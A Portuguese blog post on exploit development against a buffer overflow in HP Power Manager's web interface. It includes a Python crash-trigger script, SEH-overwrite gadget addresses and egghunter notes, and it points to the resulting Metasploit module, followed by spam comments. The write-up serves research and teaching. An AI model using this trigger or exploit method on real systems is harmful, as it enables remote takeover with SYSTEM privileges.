Olá a todos!
Irei descrever neste artigo como foi minha experiência com a análise de um advisory, a identificação e criação do trigger(poc) e consequentemente a escrita de um exploit para a falha.
Gostaria de ressaltar que este artigo não terá explicações conceituais sobre as técnicas de exploração e quaisquer outros detalhes teóricos. Vou focar totalmente na prática, desde a análise até a criação e execução do exploit.
Para conceitos/teorias e informações adicionais, irei dedicar uma área para referências no final do artigo.
O SOFTWARE (HP Power Manager)
Vamos ao que interessa!
No início de 2010, o pesquisador integrante do grupo Secunia, Alin Rad Pop, descobriu a falha no software HP Power Manager descrita abaixo:
"Secunia Research has discovered a vulnerability in HP Power Manager,
which can be exploited by malicious people to compromise a vulnerable
system.
The vulnerability is caused due to a boundary error when processing
parameters sent to the /goform/formExportDataLogs URL. This can be
exploited to cause a stack-based buffer overflow via an overly long
"fileName" parameter."
Como descrito acima e em mais detalhes aqui e aqui, a vulnerabilidade é causada devido a uma falta de controle no tamanho de uma variável quando parâmetros específicos são enviados para a URL /goform/formExportDataLogs. A exploração desta falha pode causar um stack-based buffer overflow através do envio de uma longa string na variável "fileName", que permite a atacantes executar comandos remotos com os privilégios de 'SYSTEM'.
Muitos advisories nos dias atuais são vagos e realmente não ajudam o pesquisador ou desenvolvedor de exploits a localizar onde a falha se encontra e como criar o trigger. Eu costumo chamar esses tipos de advisories de "Advisories comerciais", onde os mesmos, tem apenas o intuito de informar publicamente que a falha foi descoberta em um determinado produto sem nenhum (ou quase nenhum) detalhe adicional (exemplo1, exemplo2).
No caso da vulnerabilidade analisada, o advisory foi bem claro em sua descrição, portanto, localizar o trigger e reproduzir o ambiente não foi uma tarefa tão complicada.
Depois de alguns momentos analisando os requests feitos através da interface de gerenciamento web do programa consegui localizar o parâmetro e URL descritos no advisory, como mostra a figura abaixo:
POC (Proof Of Concept)
Após ter encontrado a URL que processa o request tudo se torna mais fácil e assim podemos partir para o próximo passo que será criar o poc baseado nas informações obtidas:
#!/usr/bin/python
# Rodrigo Escobar (ipax)
# DcLabs Security Research Group
#
# HP Power Manager "formExportDataLogs" Buffer Overflow
import socket
import sys
import time, struct
host = "192.168.2.1"
port = 80
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
post = "POST /goform/formExportDataLogs HTTP/1.1\r\n"
post += "Host: " + host + ":" + str(port) + "\r\n"
post += "Connection: keep-alive\r\n"
post += "Referer: http://" + host + "/Contents/exportLogs.asp?logType=Application\r\n"
post += "Content-Type: application/x-www-form-urlencoded\r\n\r\n"
post += "dataFormat=comma&exportto=file&fileName=" + buffer + "&bMonth=11&bDay=01&bYear=2011&eMonth=11&eDay=01&eYear=2011&LogType=Application&actionType=1%3B"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Trying to establish connection..."
try:
s.connect((host, port))
print " [+] Sending payload..."
except:
print "[X] Couldn't connect to: " + host + ":" + str(port)
else:
time.sleep(1)
s.send(post)
print " [+] Payload sent! Go grab a coffee, the CPU is gonna work hard for you! :)"
s.close()
# END OF POC
POC também pode ser acessado aqui.
Para saber exatamente onde o software estava crashando utilizei o mona para criar uma simples pattern de 2000 bytes e coloquei como valor na variável buffer.
Após a execução do POC, podemos constatar algumas particularidades interessantes no crash ocorrido:
- SEH foi sobrescrito com a nossa pattern e se perceber, fomos capazes de escrever alguns bytes após sobrescrever a chain.
- !mona localizou a nossa pattern sobrescrevendo SEH (755 bytes).
SEH sendo sobrescrito com nossa pattern (2000 bytes) [1]
Mona localizando a pattern enviada [2]
Após uma breve análise, constatei que a melhor técnica a ser utilizada nesse caso seria um SEH overwrite, ja que conseguimos sobrescrevê-lo como mostra a figura acima.
POP # POP # RET
Em teoria para explorar uma vulnerabilidade utilizando esta técnica (SEH overwrite), você precisa de uma sequência de instruções que consigam triggar um POP / POP / RET ou qualquer outra sequência que possua a mesma funcionalidade como, por exemplo, um ADD ESP,8 / RET e outras.
Seguindo esta linha de raciocínio, o próximo passo foi localizar essa sequência de instruções na lista de executable modules dentro do software. Isto pode ser feito manualmente através do search de seu debugger, ou utilizando o mona.
Após alguns testes, foi constatado que existiam apenas 2 endereços estáveis com esta sequência de instruções pop # pop # ret que poderiam ser utilizados. (Ambos localizados com o mona)
0x004174d5 : pop esi # pop ebx # ret 10 | startnull {PAGE_EXECUTE_READ} [DevManBE.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\HP\Power Manager\DevManBE.exe)
0x00417cb5 : pop esi # pop ebx # ret 10 | startnull {PAGE_EXECUTE_READ} [DevManBE.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\HP\Power Manager\DevManBE.exe)
Como podemos notar, os endereços possuem um null byte e isto é um grande problema (na maioria dos casos). Caso o null byte estivesse no meio do endereço teríamos que localizar outro "pop#pop#ret" pois algumas funções tais como strcpy(), consideram o null byte como o caracter terminador de uma string. Neste caso o null byte está no começo, e como os endereços são lidos em little-endian (podemos fazer uma sobrescrita parcial do SEH resultando em "\xd5\x74\x41\x00" ou "\xb5\x7c\x41\x00") .
PORTANDO EXPLOIT PARA O METASPLOIT
Tendo grande parte da lógica pronta e com a idéia de portar para o metasploit em mente (ps: devia ter começado a codar direto para o msf e não fazer em python e depois portar), existem algumas regras que temos que seguir para garantir a reliability (estabilidade) do exploit, ou seja, a equipe de desenvolvimento de exploits da metasploit, precisa fazer um quality assurance no exploit para verificar a sua reliability (estabilidade) garantindo que o exploit funcione 100%.
Uma das caracteristicas que seu exploit precisa ter para ser aceito na árvore do metasploit, é ter espaço suficiente na stack / heap, para que praticamente todos os payloads existentes no framework sejam capazes de ser executados (principalmente meterpreter e outros, tais como, reverse_tcp, bind_tcp e outros).
Existem também outras particularidades, assim como, utilização de funções próprias do MSF, verificação minuciosa de BadChars (Não descrito neste artigo, mas vou colocar como referência), quantidade de colunas por linha e etc. Um manual escrito pelos membros do metasploit sobre estas particularidades por ser encontrado aqui.
EGGHUNTER
Para tornar o exploit mais estável tive que adicionar um egghunter.
Em teoria um egghunter nada mais é do que uma sequência de instruções que procura em todos endereços da memória uma tag predefinida que contêm o seu shellcode a partir desta tag. (PS: normalmente, utilizamos um memory leak para injetar a tag+shellcode na heap, pois se é possível colocar o shellcode na stack, não há necessidade de utilizar um egghunter para o tal devido ao tempo de processamento para localizar o egg na memória)
PWNAGE TIME!
Sem mais delongas, o resultado tão esperado :)
BANG!! SYSTEM privileges! pwned! =)
Ou então, se voce sempre mantém o metasploit atualizado, poderá encontrá-lo no revision 14015 -> modules/exploits/windows/http/hp_power_manager_filename.rb
REFERÊNCIAS
AGRADECIMENTOS
Membros do DcLabs
corelanc0d3r e corelan team
sinn3r
Espero que tenham gostado do artigo. Pretendo futuramente, publicar novas pesquisas e análises feitas em diversos outros advisories resultando ou não em remote command execution.
Rodrigo Escobar (ipax) {ipax [at] dclabs.com.br}
Parabéns cara!!
ResponderExcluirMuito bom!
ResponderExcluirI was curious if you ever thought of changing the structure of your site? Its very well written; I love what youve got to say. But maybe you could a little more in the way of content so people could connect with it better. Youve got an awful lot of text for only having 1 or 2 images. Maybe you could space it out better? apple itunes login
This is really good and useful information. thanks for posting. Foreign visitors can apply for a Turkish Visit Visa online. 100 Eligible Countries can apply for Turkey Visa.
ResponderExcluirThank you for this work. The applicant applying for Kenya visa now can easily pay for kenya evisa cost online through online e visa application. That ultimately saves time and provide the secure process.
ResponderExcluirI really love your blog. Thank you...For that, you have to fill the online application form with your personal information as per the requirement, submit it and pay the Indian e visa fees accordingly. India e visa cost depends on your nationality and your visa type.
ResponderExcluirHello! this is my first comment so i just want to give a quick shout out and say i really enjoy reading your articles.. What is an Indian e Visa? India e-Visa is an electronic authorization to travel to India for business, tourism, or medical visits. Apply for an Indian through online eta Indian e visa official website.
ResponderExcluir
ResponderExcluirThis blog post captivated me with its insightful perspectives and engaging narrative. The author's eloquent writing style effortlessly drew me into the discussion, leaving me pondering long after I finished reading. The depth of analysis showcased here is truly commendable, offering a fresh take on familiar themes. I particularly appreciated how the writer seamlessly intertwined personal anecdotes with broader concepts, creating a rich tapestry of ideas.
Outstanding blog post! Your proficiency in breaking down complicated subjects into understandable components is remarkable. Your writing style is captivating throughout. The utilization of real-life illustrations enriches the relevance and applicability of the content. Can't wait to explore more of your insightful articles! Keep up the remarkable work!
ResponderExcluirStepping into the world of this blog post, I found myself transported to a realm of profound introspection, where every sentence revealed a new layer of understanding. The author's words resonated with a familiarity that stirred the depths of my own consciousness, evoking a cascade of thoughts and emotions. It's as though they've captured the essence of human experience and distilled it into these paragraphs, inviting readers to embark on a journey of self-discovery. This isn't just writing; it's a portal to the depths of the human psyche.
ResponderExcluirThis post hit close to home for me. It’s like you’ve voiced the thoughts I’ve been unable to articulate. Your unique viewpoint is genuinely refreshing. Reading this felt like an intimate chat with a dear friend. I admire how you delve into the topic so comprehensively, exploring every aspect with precision. It’s rare to find such honest and thought-provoking content online. Thank you for sharing your reflections and sparking deep introspection. I can’t wait to read more of your insightful writing.
ResponderExcluir